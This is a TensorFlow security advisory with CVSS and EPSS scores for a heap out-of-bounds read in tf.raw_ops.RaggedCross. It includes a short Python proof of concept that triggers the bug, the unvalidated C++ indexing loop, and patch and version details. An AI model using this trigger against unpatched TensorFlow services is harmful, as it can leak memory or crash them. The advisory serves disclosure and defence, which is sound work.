3.6 Low
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:N/A:P
7.1 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
0.0005 Low
EPSS
Percentile
17.8%
An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.raw_ops.RaggedCross
:
import tensorflow as tf
ragged_values = []
ragged_row_splits = []
sparse_indices = []
sparse_values = []
sparse_shape = []
dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)
dense_inputs = [dense_inputs_elem]
input_order = "R"
hashed_output = False
num_buckets = 0
hash_key = 0
tf.raw_ops.RaggedCross(ragged_values=ragged_values,
ragged_row_splits=ragged_row_splits,
sparse_indices=sparse_indices,
sparse_values=sparse_values,
sparse_shape=sparse_shape,
dense_inputs=dense_inputs,
input_order=input_order,
hashed_output=hashed_output,
num_buckets=num_buckets,
hash_key=hash_key,
out_values_type=tf.int64,
out_row_splits_type=tf.int64)
This is because the implementation lacks validation for the user supplied arguments:
int next_ragged = 0;
int next_sparse = 0;
int next_dense = 0;
for (char c : input_order_) {
if (c == 'R') {
TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(
ragged_values_list[next_ragged], ragged_splits_list[next_ragged],
features));
next_ragged++;
} else if (c == 'S') {
TF_RETURN_IF_ERROR(BuildSparseFeatureReader(
sparse_indices_list[next_sparse], sparse_values_list[next_sparse],
batch_size, features));
next_sparse++;
} else if (c == 'D') {
TF_RETURN_IF_ERROR(
BuildDenseFeatureReader(dense_list[next_dense++], features));
}
...
}
Each of the above branches call a helper function after accessing array elements via a *_list[next_*]
pattern, followed by incrementing the next_*
index. However, as there is no validation that the next_*
values are in the valid range for the corresponding *_list
arrays, this results in heap OOB reads.
We have patched the issue in GitHub commit 44b7f486c0143f68b56c34e2d01e146ee445134a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
3.6 Low
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:N/A:P
7.1 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
0.0005 Low
EPSS
Percentile
17.8%